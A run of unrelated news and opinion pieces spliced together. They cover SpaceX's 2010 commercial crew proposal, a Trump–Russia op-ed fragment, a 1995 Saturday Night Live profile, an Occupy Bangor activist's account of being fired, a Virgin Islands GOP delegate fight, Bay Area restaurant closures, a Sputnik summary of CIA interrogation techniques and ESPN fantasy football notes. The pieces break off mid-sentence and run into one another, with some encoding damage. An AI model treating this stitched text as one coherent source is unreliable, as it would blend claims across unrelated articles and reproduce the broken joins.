The Hawthorne, Calif.-based firm transmitted the proposal to NASA Dec. 13. It entered the second Commercial Crew Development, or CCDev 2, competition along with several other aerospace contractors for a share of the expected $200 million payout to be released as early as March. According to a SpaceX website update, the company is proposing to begin the design of a launch abort system, the emergency escape rocket that would save astronauts from an exploding rocket. Unlike traditional emergency systems, called a tractor design by engineers, SpaceX wants to build an integrated launch abort rocket to provide escape capability throughout the rocket's flight to orbit. Tractor designs used by the U.S. Mercury and Apollo programs were thrown away a few minutes after liftoff, as soon as their boosters cleared the atmosphere. The integrated system would be part of the Dragon capsule, staying with the spacecraft during months at the International Space Station and returning to Earth at the end of a normal flight. It could even be fired for a rocket-assisted touchdown on land, bringing astronauts home to a soft landing closer to recovery teams. The launch abort engine "enables superior landing capabilities since the escape engines can potentially be used for a precise land landing of Dragon under rocket power," the SpaceX announcement said. Musk alluded to the rocket-powered landing concept in a press conference last month. An emergency parachute would always be carried as a backup, according to SpaceX. SpaceX claims the concept improves crew safety and reduces Dragon operating costs. If the company wins a slice of NASA's award money this year, it will be just the first step in a multi-year development to make the Dragon capsule ready for crewed missions. Although the Dragon was designed from the start for human flights, the cargo version of the craft SpaceX tested last month lacks an escape system, seats and flight controls. SpaceX launched a Falcon 9 rocket and Dragon space capsule Dec. 8. The Dragon circled Earth twice before plunging back into Earth's atmosphere and successfully splashing down under parachutes in the Pacific Ocean. It was a critical demo mission for the company, which now employs more than 1,000 workers and hopes to take over a large chunk of NASA's crew and cargo transportation to low Earth orbit.
The Dragon capsule after recovery in the Pacific Ocean in December. Credit: Mike Altenhofen/SpaceX
NASA's commercial crew development program is likely to include milestone-based agreements with industry, a similar approach to the Commercial Orbital Transportation Services, or COTS, initiative. SpaceX and Orbital Sciences Corp. are now executing a series of rocket and capsule test flights to demonstrate their ability to deliver supplies to the space station. According to Musk, it will likely cost $1 billion and take three years to have a flight-ready Dragon ready for crew duty. That includes test flights. SpaceX is calling for a three-step design, development and test schedule, beginning with the initial concept of the abort engines and crew accommodations, progressing to static fire testing of the escape engines, then prototype evaluations by NASA crews of seats, control panels and cabin layout. "If a reasonable number of test articles and abort flights are assumed, then the total development cost to get crew to station and meet all the NASA requirements is probably around $1 billion and three years from initial contract award," Musk told Spaceflight Now Monday. "To put that figure into perspective, that�s roughly how much NASA will spend on Soyuz seats over the same period of time." SpaceX�s competitors will not discuss how much it will cost to develop their designs. Musk acknowledged his estimates are "a bit fuzzy" and will depend on the safety requirements levied by NASA. He has long publicly disclosed it would cost roughly $500 million for the hardware modifications themselves, but a "huge variable is what level of testing is required, how many tons of paperwork and how many qualification articles need to be built," Musk said, emphasizing extras could push the cost closer to $1 billion. The company says the Dragon spacecraft is scheduled to fly at least 11 more times, and the Falcon 9 rocket 17 more times, before humans strap inside. SpaceX is sticking to its figure of $20 million per seat for Dragon, adjusted for inflation. That price is contingent upon NASA using the Dragon's full capacity of seven seats and purchasing at least four flights per year, enough to cover SpaceX's fixed costs. "Over time, we'd like to make that a lot lower, but it is still a huge savings over Soyuz," Musk said. Until a U.S. commercial operator is ready for crew rotation, space station residents will continue flying to and from the complex on Russian Soyuz spacecraft. In its last agreement with NASA, which provides for seats through 2013, Russia charged the space agency more than $50 million for each roundtrip seat. NASA and Russia are expected to soon begin negotiating for more Soyuz services stretching into 2015. SpaceX's competitors are Boeing Co., Orbital Sciences and Sierra Nevada Corp. None of the companies have disclosed the price of a seat aboard their spacecraft, but Boeing has stated their cost projects compare favorable with Soyuz.After a long pause, Mr. Musgrave added, “Being shocked into speechlessness is not the sort of thing you’re really used to in the business of foreign policy analysis.”
As part of an investigation into her private server, Mrs. Clinton handed over 30,000 emails to the State Department. But she deleted a similar number of emails that she said were unrelated to her work at the department.
American presidential elections are high-stakes events. Russia would not be the first foreign power, friendly or hostile, to pursue its preferred outcome. Nor would Mr. Trump be the first politician to leverage foreign actors for electoral benefit.
But this is the first time that a presidential candidate has openly asked a foreign power to meddle in the democratic process to his benefit. More than that, Mr. Trump seemed to be suggesting that Russia should violate United States law on his behalf.
Were Russia to follow Mr. Trump’s suggestion, the foreign intervention into American politics would be among the most severe of the past century.From the March 13, 1995 issue of New York Magazine.
It’s Friday night at Saturday Night Live, and rehearsal looks like it will drag into Monday. Wedged into one corner of the legendary Studio 8H, where Toscanini made gorgeous music and Dan Aykroyd made cheeseburgers, is the jolly bulk of guest host George Foreman.
Foreman is rehearsing his role as Uncle Joe, a shy wedding guest who is being tormented by Kevin Nealon, playing the wedding reception’s smarmy emcee. Nealon goads the reluctant Foreman into making a toast. Nealon wheedles the recalcitrant Foreman into singing a song. Nealon suggests that the annoyed Foreman toss the bouquet. Foreman threatens to slug Nealon. The five-minute sketch isn’t particularly complicatedor particularly funny. Yet after an hour of rehearsal, Nealon is still stumbling over his lines. Then Nealon, in his record ninth season at SNL, accidentally steps in front of Foreman, blocking the camera and stalling yet another take. There’s a metallic clatter as a stagehand knocks lighting poles to the floor. Five actors, fifteen extras, and four musicians sit silently, waiting for the disembodied voice of Dave Wilson, the show’s director for most of its two-decade run, to give them instructions. Potbellied technicians jam chocolate-chip cookies into their mouths. A couple of SNL writers, waiting for Uncle Joe to finish so they can rehearse their own bit, snicker that the sketch should be renamed Uncle Slow. Adam Sandler tries to cut the boredom, warbling sing, sing a song in his trademark idiot-boy voice. At first, there are a few laughs. When Sandler continues into the third verse of the Carpenters song, and then the fourth, people start inspecting their shoelaces.
Standing in the darkness just beyond the set lights is a glum Janeane Garofalo. As SNL tried to rebuild from its disastrous 1993’94 season, hiring the smart, sarcastic 30-year-old comic actress seemed perfect. Besides being funnyshe is widely beloved from HBO’s Larry Sanders Show and became something of a generational mini-icon in the movie Reality BitesGarofalo added two qualities in short supply at SNL: She’s hip and she’s female.
Right now, though, Garofalo looks like a forlorn child trapped at her parents’ dinner party. Barely over five feet tall, her lank hair pulled in three directions by pink and yellow baby-doll barrettes, Garofalo droops under the weight of her oversize plaid shirt-jacket, baggy homegirl jeans, and Doc Martens boots. Garofalo watched SNL as a kid (she was in fourth grade when it premiered), and after she signed on last summer, she called it a dream come true. Now her mood is as black as her fingernail polish.
For the first three months of the season, Garofalo’s largely been stuck in dull, secondary wife and girlfriend roles. In Uncle Joe, she’s a waitress, with a single line near the end of the sketch, and the scene keeps breaking down before reaching her cue.
Finally, it’s time for Garofalo to walk up to Foreman, tray of fake cocktails in hand. Uncle Joe, just sing a song. Okay? Denise’s getting upset, Garofalo says perkily. Two or three more takes and she’s done. She dashes off to her dressing room.
Upstairs, in the pink-walled cubicle that belonged to Gilda Radner, Garofalo shakes one Marlboro out of a fresh carton and tries to describe how she’s been treated on the show. It’s almost like hazing, she says. Fraternity hazing. It’s hard. It takes its toll on you. But I think you come out much better in the end. If nothing else, this experience has just toughened me up.
That’s diplomaticespecially since Garofalo has told friends that Saturday Night has been the most miserable experience of my life. What’s gotten her through it?
Cigarettes and Stoli, she says with a tight smile.
Later, a close friend who visited Garofalo in her hotel room after the Foreman showthe Los Angeles transplant never bothered to get an apartment in New York Citysays the smoking and drinking didn’t work: You know how depressed she is? She’s in her bed right now, just lying there. She’s absolutely destroyed as a person. The show has beaten the shit out of her. Sure Saturday Night Live is bad these days. Everyone from Judge Ito (hasn’t been funny in ten years) to original and recently deceased SNL writer Michael O’Donoghue (It couldn’t suck worse if it had rubber lips) says so.
None of the outside critics, however, has pinpointed whywhy the show that two decades ago revolutionized TV comedy continues to fall on its face. Four weeks spent recently at SNL offered up a rare portrait of institutional decaythe gargantuan exertion of sweat, blood, fried food, and bluff self-denial that yields, for example, a mind-bendingly awful sketch about space aliens and rectal probes.by
On May 20 I was arrested for yelling “liar” and “warmonger” at Tony Blair as he spoke to the graduating one percenters at Colby College in Waterville, Maine, 50 miles from my Bangor home. As the cops led me away, before they arrested me, I calmly led fully 4-6 of them in a serpentine pattern weaving in and out of a line of planted stately trees. It took them about four or five trees to figure out I was yanking their chain. And as they led me away I continued to yell. Hence my arrest.
Much to my surprise the news shot around the world, thanks largely to an AP story that cited Blair’s current faux job of negotiating a solution to the Palestine problem. Never mind that he supported Israel’s 2008-2009 war on the people of Gaza.
The story of my arrest made papers in the UK, Ireland, Australia, New Zealand, Ukraine, Iran and Ghana. And it made the front page of the Bangor Daily News, my hometown paper, replete with my name and mug shot. That’s when things got interesting.
The next day I showed up for a previously scheduled substitute teaching gig at Hampden Academy, a public high school in Hampden, Maine, where I had been a substitute teacher for more than eight years. Before first period I was asked by a school administrator to keep a low profile. I agreed to do this, and I did. During the course of the day a half-dozen or so students asked me why I had protested Blair, and in a few short, calm sentences I told them. They uniformly supported me, and the students in general were more vocally and demonstrably friendly than normal that day.
The next day I got a call from a local TV reporter who said she had heard I might be fired from my sub job because of the Tony Blair incident, and she asked to interview me. Thinking it might be an opportunity to further publicize Tony Blair’s war crimes, I agreed.
I was wrong. All the reporter cared about was the possibility of my being fired. All my efforts to direct the interview back to the real issue at hand quickly and inexorably found their way to the floor of the editing room. The Iraq war is old news. It doesn’t sell.
Bright and early the next morning I called my supervisor at Hampden Academy and asked to come in and speak with him. My request was granted. In that meeting I was told that I was innocent until proven guilty but that my presence at Hampden Academy had produced a “carnival-like atmosphere” and that this was not needed.
In other words I had been fired. So much for innocent until proven guilty.
I had been called to sub 12 of the 16 school days prior to my arrest. After my arrest I did not get called for six straight days and I emailed the school in an attempt to clarify my status. I received a reply asking me to call the school and I did. I was then told that I should apply to sub elsewhere and that the school wanted things to “calm down a little bit.”
So I went public. In the week following my arrest the Bangor Daily News ran no less than three op-eds about my arrest, one of them by me. A local talk radio station had me on. And there was the aforementioned TV report. Clearly there was media interest in the story.
I fired off a press release, and I got two bites and one nibble that has yet to play out. The Bangor Daily News wrote an online piece that will likely make its print edition, and the same TV reporter called and interviewed me again.
Some people are a little slow to learn, and I am apparently one of them. Again I thought this would be an opportunity to talk about a war that has killed and displaced hundreds of thousands of Iraqis, has killed almost 5,000 Americans, has gravely wounded some 30,000 Americans, has wrought considerable environmental destruction, and has utterly squandered an estimated $3 trillion of national wealth. Meanwhile Hampden Academy is laying off personnel.
But the media cares not one whit about all this. As had happened the week before, they wanted to talk only of my firing and the mechanics of my arrest, not the real issue at hand – Blair’s extremely costly lies.
And so ends my more than eight years of unblemished subbing at Hampden Academy. In January I was fired from my other job after my heavy and much publicized involvement with Occupy Bangor. I was simply told my services were not needed for the time being, until further notice, but that I would be called back at some point. But when the state Department of Labor investigated my unemployment claim it was told the law firm had no intention of calling me back. And so it is that for the last eight years of my work life I can expect no reference letters.
As devout CounterPunch readers may know, my father was fired from his professorship at George Washington University because he was a member of the Communist Party when he was a doctoral student in history at Harvard. None other than J. Edgar Hoover himself was on the GWU board of trustees at the time, and he insisted on vetting all applicants for professorships. I have thought about that quite a bit in this last week, and I have come to the conclusion that given 100 chances I would do what I did 100 times.
But I will say this. To all Occupiers, and to all others who will buck the system that will, if unchecked, take this world down. Do not have the least bit of faith that any venue of the mainstream media will convey even a shred of the message you wish to convey if you give it the least bit of an alternative. Do not get sucked into the interview trap. If your actions are interesting they may want to cover it. If they are not, they won’t. Give them the message you want to convey – and only the message you want to convey, nothing more – in written form. Supply them with your phone number, but unless you really know them and trust them – and unless they are not MSM – avoid at all costs the interview trap. Simply refer them to your written statement. Only in this manner can you shift the focus from the no-issues, horse race syndrome that so infects our political process.
Lawrence Reichard is a resident of Bangor, Maine, and an activist with Occupy Bangor. He can be reached at lreichard@gmail.com.Looking for news you can trust?
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The US Virgin Islands Republican caucus would hardly register on the national radar in a normal year. Traditionally, it hardly even registers on the islands’ radar—fewer than 100 people participated in the 2012 event. But with front-runner Donald Trump struggling to lock up the 1,237 delegates needed to clinch the nomination, the behind-the-scenes wrangling for delegates has taken on an unprecedented significance. And that fight has come to this US territory. The chaos there says a lot about what could unfold in Cleveland in July, when the Republicans convene to select their presidential nominee.
This collection of Caribbean islands—which includes St. Croix, St. John, and St. Thomas—is home to one of the smallest Republican parties in the United States, but it has produced one of the nastiest and most unexpected political clashes in recent memory. The battle has played out in radio attack ads and in the courts, featuring allegations including corruption, carpetbagging, and Nazi sympathizing.
In one corner is the island’s Republican Party chair, John Canegata, a shooting-range owner who works at a rum distillery and has led the GOP there for four years. In the other is a faction led by John Yob, a veteran political consultant from Michigan who worked for Sen. Rand Paul’s presidential campaign before moving to the islands last winter. Yob and his wife, Erica, along with Lindsey Eilon, another political operative recently arrived from Michigan, were among the six delegates elected on March 10; Canegata is fighting to have the entire slate replaced and has signaled he may take the challenge all the way to Cleveland.
To understand how things got to this point, it’s important to know how the process usually works. Voters in the US Virgin Islands don’t pick a presidential candidate. Instead, they vote for delegates who are free to vote for whichever candidate they prefer at the convention. Often, delegates announce which candidates they intend to support before the caucus. In 2012, four of the islands’ delegates announced that they were supporting Romney; one backed Ron Paul.
But Yob had a different idea, and in February he published a book outlining it in detail. The book, Chaos: The Outsider’s Guide to a Contested Republican National Convention, is a sort of user’s manual to influencing the GOP nominating process. Yob—who previously made headlines for getting punched in the face by a Marco Rubio aide last fall—noted that at a contested convention delegates from territories such as the US Virgin Islands would command the most leverage because they aren’t bound to a specific candidate.
If those delegates can stick together as an uncommitted block, Yob pointed out, they could determine whether the party nominates Trump on the first ballot or Paul Ryan on the fourth. The slate of unpledged delegates could then use its leverage to extract tangible promises from the future nominee. (The wish list of Virgin Islands Republicans is long, but includes things like Supplemental Security Income benefits, expanded Medicaid and Medicare grants, and special tax exemptions.) This was Yob’s pitch to Virgin Islands Republicans, and it worked. None of the six winning delegates—the Yobs, Eilon, and three longtime St. Croix residents—have endorsed a presidential candidate, and Yob has left the door open to supporting Trump or Cruz. (Yob’s father, the Michigan political operative Chuck Yob, is supporting John Kasich.)
“This was a great opportunity for the Virgin Islands to select unaffiliated delegates so the Virgin Islands could have authority at the convention,” Yob told me.
But there’s been plenty of drama. Six days before the caucus, the Yobs and Eilon were kicked off the ballot by the islands’ elections supervisor, on the grounds that they hadn’t lived in the territory for 90 days. (As evidence, the supervisor cited John Yob’s Facebook page, which stated he had moved to the islands on December 28.) Yob sued, arguing that there really was no 90-day requirement for the caucus, and that he had in fact lived there longer. A judge granted a last-minute motion allowing the candidates back onto the ballot the morning of the caucus. (She has since issued a preliminary injunction indicating that the Yobs will likely win their case.)
Still, Canegata has insinuated that the Michiganders are not real Virgin Islands residents and should not have been allowed on the ballot. Then, two weeks after the caucus, Canegata stripped the six winning delegates of their victories and replaced them with a new slate consisting of the 7th- through 12th-place vote-getters. In a letter to the Republican National Committee, the chair cited a technicality—the delegates hadn’t committed in writing to attend the convention within five days of the results being certified. Yob, stunned, shot back that the election results had not yet been certified and that, therefore, what Canegata was alleging was impossible. In early April, the local party’s dispute committee agreed with Yob. But Canegata hasn’t backed down. Now all signs point to the Virgin Islands sending two competing delegations to Cleveland.
In the meantime, the fight has increasingly taken on the trappings of an actual campaign. Yob has bought radio ads to defend himself, as has another delegate, Republican National Committee member Holland Redfield. (As an RNC member, Redfield is a member of both slates.) The anti-Yob camp is running ads, too. In one spot, purporting to come from a group called “Concerned Citizens of the Virgin Islands,” two men in a thick island patois accuse Yob of faking residency to manipulate the political system for his own gain, and they warn residents that his book outlines a nefarious plot:
They must think that the Virgin Islands is a banana republic and that we are stupid. They want to take us over. Worst thing is, they don’t even really live here. These folks are registered to vote in other states, they’ve lied to the election system about their registrations, and when they moved here. What’s their goal? Well if you read John Yob’s book— His book? Yeah, John Yob wrote a book about how the Virgin Islands delegates are going to be critical at the convention and create some chaos there on the convention floor to decide the presidential nominee of the Republican party.
Another ad, featuring the same two men, placed Yob in the company of several other mainlanders who set up shop on the Virgin Islands— including the Ponzi schemer Allen Stanford and the sex offender Jeffrey Epstein. Canegata has said he is not responsible for the Concerned Citizens of the Virgin Islands ads, but he also told the Virgin Islands Daily News that his rival was a “Johnny Come Lately from Michigan” who has “been slapped up a few times”—a reference to both the punch from the Rubio aide, as well as a misdemeanor domestic-violence charge last year for which Erica Yob pleaded guilty. In an interview with MSNBC, Canegata referred to yet another Yob ally, the party’s vice chair Herb Schoenbohm, as a “felon” and a “Nazi sympathizer.” (“He’s just pulling this stuff out and expects them to believe it,” says Schoenbohm, who was convicted more than two decades ago of long-distance telephone fraud but is not a Nazi sympathizer.)
In one sense, the biggest loser in all of this is Ted Cruz. His campaign fought hard in the Virgin Islands—the candidate’s father, Rafael Cruz, visited the islands, and Cruz called Canegata personally. What’s more, the campaign deputized longtime GOP operative Saul Anuzis—whose firm, Coast to Coast Strategies, signed a direct-mail contract with Canegata—to spearhead his outreach in the US Virgin Islands and other far-flung territories. Cruz considered the Virgin Islands to be of undervalued importance for the opposite reason Yob did. According to the delegate rules, candidates need to win the majority of delegates in eight states or territories to appear on the ballot in Cleveland. The easiest way to hit that threshold in a crowded race, the Cruz campaign reasoned, was to score wins in tiny, off-the-beaten-path caucuses such as the one in the US Virgin Islands.
A rule change almost made that possible. Last fall, Canegata proposed adding a presidential preference poll to the caucus and then awarding the delegates to whichever candidate received a plurality. On top of that, he wanted to charge candidates $3,500 to participate. The local party never approved the plan, but Canegata submitted it to the RNC anyway; when |
plans crash so quickly, restaurateurs said, has led them to question whether it’s still feasible to open a traditional bistro with full table service and an a la carte menu. Semmelhack, for example, said he’ll probably never open another full-scale restaurant in San Francisco. He is encouraged by the response to the Trading Post, his new restaurant in Cloverdale, as well as downtown San Francisco’s fast-casual Sababa, in which he is a minority partner.
In San Francisco in particular, younger diners seem to gravitate to casual places or ones with innovative concepts, such as the global dim sum at the Fillmore’s State Bird Provisions or the communal haute cuisine meals at Lazy Bear in the Mission. More and more, restaurants also compete for diner dollars against delivery services and meal kits like Blue Apron.
The fail-fast phenomenon may be a signal that the golden age may be about to end. A simpler message may be that the Bay Area restaurant scene has become saturated. “We have more seats...than we know how to fill at a profitable rate,” Bordeleau said.
Jonathan Kauffman is a San Francisco Chronicle staff writer. Email: jkauffman@sfchronicle.com Twitter: @jonkauffmanFollowing a release of a US Senate Intelligence Committee report investigating CIA's Detention and Interrogation Program, CNN has outlined ten most extreme interrogation techniques, used by the intelligence agency.
© Sputnik / Denis Voroshilov US Global Partners Should Come Clean on CIA Torture Cooperation: Amnesty
MOSCOW, December 10 (Sputnik) – CNN has singled out ten most shocking interrogation techniques, used by the CIA in its Detention and Interrogation Program, launched in the wake of the 9/11 terrorist attacks.
The program authorized CIA officers to use extreme interrogation techniques, including sleep deprivation, waterboarding, painful stress positions, dietary manipulation, walling,'rectal rehydration' or rectal feeding, etc. All of them amount to nothing less than a torture, according to the US Senate Intelligence Committee.
Mock executions, “hard takedowns” and sleep deprivation topped CNN’s list of extreme interrogation techniques. “Hard takedowns” involved agency’s officers forcing the detainees to run up and down the hall naked. "As they ran him along the corridor, a couple of times he fell and they dragged him through the dirt," the report said in reference to one such case.
CIA officers kept some of the detainees awake for up to 180 hours. The prisoners were often forced to stand in painful stress positions during such sessions. Sometimes their hands were shackled above their heads.
© Sputnik / UN Expert Calls for Prosecution of US Officials After CIA Torture Report
At least in one case waterboarding resulted in a near death experience. Abu Zubaydah "became completely unresponsive, with bubbles rising through his open, full mouth" during one session. He came around only after medical intervention.
Another enhanced interrogation technique on CNN's list involved a detainee being kept in total darkness and cold temperatures. He was shackled, had to remain in a stress position and was denied access to bathroom.
CIA officers also made “vague threats” in reference to relatives and loved ones of the detainees, using "fear for the well-being of [prisoner’s] family to [the agency’s] benefit," the report said. The operatives "threatened at least three detainees with harm to their families — to include threats to harm the children of a detainee, threats to sexually abuse the mother of a detainee and a threat to 'cut [a detainee's] mother's throat,'" the report stated.
© AP Photo / Tyler Evert US Senator Hopes for Obama to Authorize Complete CIA Torture Report Release
“I … believe that the conditions of confinement and the use of authorized and unauthorized interrogation and conditioning techniques were cruel, inhuman, and degrading. I believe the evidence of this is overwhelming and incontrovertible,” said US Senator Dianne Feinstein, chairman of the Senate Intelligence Committee.
The revelations were made public on Tuesday after a 525-page summary of a comprehensive 6,700-page report, produced by the US Senate Intelligence Committee following a lengthy investigation, was made public. The report, sent to the White House, the CIA, the US Department of Justice, the US Department of Defense, the US Department of State, and the Office of the Director of National Intelligence, remains classified.NFL Nation reporters look ahead to what Sunday has in store for each team.
AFC EAST
Buffalo Bills: The Bills will be without tight end Charles Clay (back injury) for the first time this season, which will have a trickle-down effect on other players on the fantasy radar. Clay is considered the Bills' best blocking tight end, so his absence won't help running back LeSean McCoy, although McCoy is still in line for a big workload with Karlos Williams (shoulder) not playing at Washington. Wide receivers Sammy Watkins and Robert Woods could also see more targets with Clay on the sidelines. -- Mike Rodak
Miami Dolphins: Dolphins leading receiver Jarvis Landry is just two receptions away from breaking the franchise single-season mark of 90 catches set by O.J. McDuffie in 1998. Memo to fantasy owners: Landry is a lock to set a new record Sunday against the Chargers. He was targeted a season-high 18 times last week against the Giants and is expected to be a big part of Miami's game plan again. Landry also is 80 yards away from his first 1,000-yard season. -- James Walker
New England Patriots: With running back/fullback Joey Iosefa promoted from the practice squad Saturday, the Patriots will split running duties among Iosefa, Brandon Bolden and James White. Bolden is the most likely candidate to have the highest total of carries. -- Mike Reiss
New York Jets: The Jets (9-5), who secured their first winning season since 2010 on Saturday night, can spend Sunday monitoring their closest competition in the AFC wild-card chase. The Chiefs (8-5) visit the Ravens at 1 p.m. ET and the Steelers (8-5) play host to the Broncos at 4:25 p.m. ET. -- ESPN.com staff
AFC NORTH
Baltimore Ravens: It looks like another challenging game for running back Buck Allen, who only totaled 58 yards a week ago. He's going against a Kansas City defense that has given up more than 60 yards of total offense to only three running backs during the team's seven-game win streak. Running backs have scored three touchdowns against the Chiefs over that span. -- Jamison Hensley
Cincinnati Bengals: Wide receiver A.J. Green has been remarkably consistent the past three weeks for his fantasy owners, collecting 18, 18 and 19 points (under ESPN's standard scoring systen) in each of those games. With Andy Dalton out this week due to a thumb injury and AJ McCarron making his first career start, it might be wise to put Green in your playoff lineup this weekend. Although the Bengals won't be changing much foundationally with their offense, they still will want to get the ball to their top playmaker as often as possible to aid in McCarron's comfort. -- Coley Harvey
Cleveland Browns: Quarterback Johnny Manziel attempts to build on the success he had against Pittsburgh and San Francisco, but in Seattle he gets a much tougher opponent. "They don't make anything easy," Manziel said, pointing out the Seahawks have superior speed at every position. Manziel was solid last week against the 49ers, completing 21 of 31 passes for 270 yards with one touchdown and one interception. -- Pat McManamon
Pittsburgh Steelers: Martavis Bryant might be the game's most consistent No. 2 receiver when it comes to scoring. With seven touchdowns in eight games, Bryant has scored at least 12 fantasy points in seven of eight contests. His lowest output is 8.9, but he has scored between 19 and 33 points in four different games. Bryant is an attractive weapon once again because of the potential size mismatch with the Broncos. Chris Harris Jr., while a top-shelf corner, is 5-foot-10, which means the 6-foot-4 Bryant could be running go routes when he's on Harris' side. Harris and Aqib Talib stay on their respective sides of the defense (shadowing is abnormal for them, Antonio Brown said), so the Steelers could move Brown around the field in order to get the matchups they want. That plan will involve Bryant early and often. -- Jeremy Fowler
AFC SOUTH
Houston Texans: The Colts have not fared well against top-flight receivers this season. Julio Jones had 160 yards against them. DeAndre Hopkins had 169 yards in the teams' October meeting. They'll likely try the same types of double teams the Bills and Patriots have used in the past two weeks against Hopkins this week. Quarterback T.J. Yates has had a strong connection to Hopkins this season, and he will trust him even in contested situations. There's a good chance Hopkins gets back on track Sunday. -- Tania Ganguli
Indianapolis Colts: The Colts are dealing with some injuries at receiver. Starter Donte Moncrief is questionable because of a toe injury. That means Andre Johnson's role could be increased, and he just happens to be facing his former team in a battle for first place in the AFC South. Johnson had six receptions for 77 yards and two touchdowns against Houston in Week 5. -- Mike Wells
Jacksonville Jaguars: Running back Denard Robinson would be a smart pickup because T.J. Yeldon is unlikely to play against the Falcons because of a sprained knee. Robinson, who is averaging 4.7 yards per carry this season, should get 12-15 touches, and possibly more. He scored his first touchdown of the season in last week's rout of the Colts. -- Mike DiRocco
Tennessee Titans: The Titans need a passing game option to emerge if the Patriots have success taking away tight end Delanie Walker. Look for rookie receiver Dorial Green-Beckham to be targeted as Marcus Mariota searches for yards. The inconsistent DGB could rank as the next-best option for Tennessee. -- Paul Kuharsky
AFC WEST
Denver Broncos: This will be an enormous test for the Broncos defense Sunday in Pittsburgh. The Steelers have averaged just under 500 yards per game over their last five outings. The Broncos defense has not allowed a quarterback to throw for 300 yards this season, only one running back has had a 100-yard rushing game (Jamaal Charles in Week 2) and only two receivers have topped 100 yards in a game this season -- neither scored a touchdown in the game. -- Jeff Legwold
Kansas City Chiefs: This looks like a great week for the Chiefs defense. Whether it's Matt Schaub or Jimmy Clausen, the Ravens will use a backup quarterback, and they have been prone to throwing interceptions. Baltimore throws a pick on 3.2 percent of its passes, one of the highest rates in the league. The Chiefs, led by rookie cornerback Marcus Peters, are second in the league in interceptions with 18. -- Adam Teicher
Oakland Raiders: The Raiders used their tight ends a lot at Denver in Week 14 and perhaps it will become a trend for fantasy players to watch the rest of the season. Rookie tight end Clive Walford and Mychal Rivera combined for six catches 96 yards and a touchdown. Walford has been making strides and quarterback Derek Carr likes him a lot. Rivera doesn't play a lot, but it seems Carr always looks for him in key situations. -- Bill Williamson
San Diego Chargers: Playing in his final game at Qualcomm Stadium, 34-year-old Chargers receiver Malcom Floyd should be properly motivated. And with Keenan Allen and Stevie Johnson not available due to injuries, Floyd should get his share of targets against a Miami defense that has given up 28 passing touchdowns this year, third-worst in the NFL. -- Eric D. Williams
NFC EAST
Dallas Cowboys: Kellen Moore made his NFL debut, but the fourth-year pro from Boise State didn't change the fate of the Cowboys. Coach Jason Garrett would not commit to naming Moore his starting quarterback after Saturday's loss to the Jets even though the Cowboys have been eliminated from the playoffs. Moore completed 15 of 25 passes for 158 yards with one touchdown and three interceptions after taking over for Matt Cassel. Despite the interceptions, Jerry Jones saw some things he liked from Moore in the three quarters of action. -- Todd Archer
New York Giants: The Giants' running back committee has been maddening for fantasy owners and Giants fans alike, and it may not change at any point this season. However, Rashad Jennings showed something the Giants haven't seen this year when he was able to break off some bigger runs Monday night in Miami. If Jennings continues to run that way, expect him to continue to get the lion's share of the carries. -- Dan Graziano
Philadelphia Eagles: All signs point to Ryan Mathews starting at running back again and DeMarco Murray being used in a rotation. The Eagles would love to get more production out of at least one of their backs. Last week, Mathews and Murray combined for 72 yards on 24 carries. The better fantasy play may be Darren Sproles, who gained 41 yards and had a touchdown on just seven carries against the Bills. -- Phil Sheridan
Washington Redskins: The Redskins always will try to get the ball to tight end Jordan Reed, but they definitely want to take some shots vs. Buffalo with receiver DeSean Jackson. They feel some will be available -- if they can handle some of the varied looks they expect to see up front. Jackson was limited during practice this week, but he was running well by Friday. The Redskins hope to test safety Bacarri Rambo, who was drafted by them in 2013. The only time Jackson faced a Rex Ryan defense, though, he caught just two passes in a 45-19 win by Philadelphia in 2011. -- John Keim
NFC NORTH
Chicago Bears: Be cautious about relying too heavily on either Matt Forte or Jeremy Langford in Minnesota. The Bears want to establish the ground game on Sunday against the 20th-ranked Vikings rushing defense, but Chicago is expected to split carries between Forte and Langford over the next three weeks. In fact, Langford played three more overall snaps than Forte in the Bears' loss to Washington last weekend. Bears offensive coordinator Adam Gase said on Thursday the goal is still for Forte to touch the ball 20 times per game. The veteran, however, only had 11 touches in Week 14, while Langford had 14. Chicago's backfield situation is tricky for fantasy owners. You've been warned. -- Jeff Dickerson
Detroit Lions: The Lions don't play until Monday night, but don't be concerned about inserting wide receiver Calvin Johnson into your fantasy lineup. He's on track to play against one of the worst pass defenses in the league in New Orleans. Don't be too concerned about his one-catch performance against St. Louis, either. The last two times he has played in a game the week after making one catch, he has had 100-yard games with 10 catches. He's a strong play for your fantasy playoffs. -- Michael Rothstein
Green Bay Packers: The Packers didn't just get back to running the ball last week against Cowboys with their 230 yards rushing. They also got slot receiver Randall Cobb more involved. He caught eight passes for 81 yards and also carried three times for 9 yards (including a long run of 8). Look for the Packers to try to continue to make Cobb a focal point. Fellow receiver James Jones said the Packers' offense is "built on a lot of quick, short passes, breaking tackles, getting YAC and that's where a lot of our explosive plays come from. When [Cobb's] doing that in the slot and we're running the ball the way we're supposed to run it, our offense is unstoppable." -- Rob Demovsky
Minnesota Vikings: With the Bears' pass rush healthier than it was the last time they played the Vikings, Teddy Bridgewater could again have to resort to the quick passes he used to throw for a career-high 335 yards against Arizona. That strategy can work -- if the Vikings stick to it -- and it could mean more opportunities for tight end Kyle Rudolph, who has caught 22 of his 45 passes this season in the Vikings' last four games. -- Ben Goessling
NFC SOUTH
Atlanta Falcons: Running back Devonta Freeman, held scoreless in his last three games played, is bound to add to his 11 total touchdowns at some point. Why not Sunday in Jacksonville, just a couple hours away from where he starred in college at Florida State? Freeman should be good for a least one score and some fantasy points against a Jaguars team that allows 27.5 points per game. -- Vaughn McClure
Carolina Panthers: With tight end Greg Olsen coming off a knee injury that could somewhat limit him and with running back Jonathan Stewart (foot) out, look for quarterback Cam Newton to take on even more of a load against the Giants. Newton is on a roll with 13 touchdown passes to only one interception in the last four games. He'll be facing a Giants defense that ranks last overall and last against the pass. Look for Newton to take a couple of deep shots to Ted Ginn Jr., who is on a roll himself with two long touchdown catches in consecutive games. -- David Newton
New Orleans Saints: Someone asked me a great fantasy question this weekend: Brandin Cooks or Tim Hightower in the flex? My response was that it depends on what you need, if you have the luxury of waiting until Monday night to make that kind of decision. If you just need 5-10 points, Hightower is the safer bet to get 70 yards from scrimmage with a possible touchdown. But if you need to swing for the fences, Cooks has the better chance to go over 100 yards with a touchdown or two. I'd feel pretty good about both of them, though, based on the Saints' track record in prime time games at home and the fact that both the Saints and Lions should put up points in this game. -- Mike Triplett
Tampa Bay Buccaneers: Tampa Bay is the most penalized team in the league, and penalties played a factor in the team's last two games -- both critical losses. The Bucs committed a combined 21 penalties for a total of 156 yards in losses to New Orleans and St. Louis. -- Rick Brown
NFC WEST
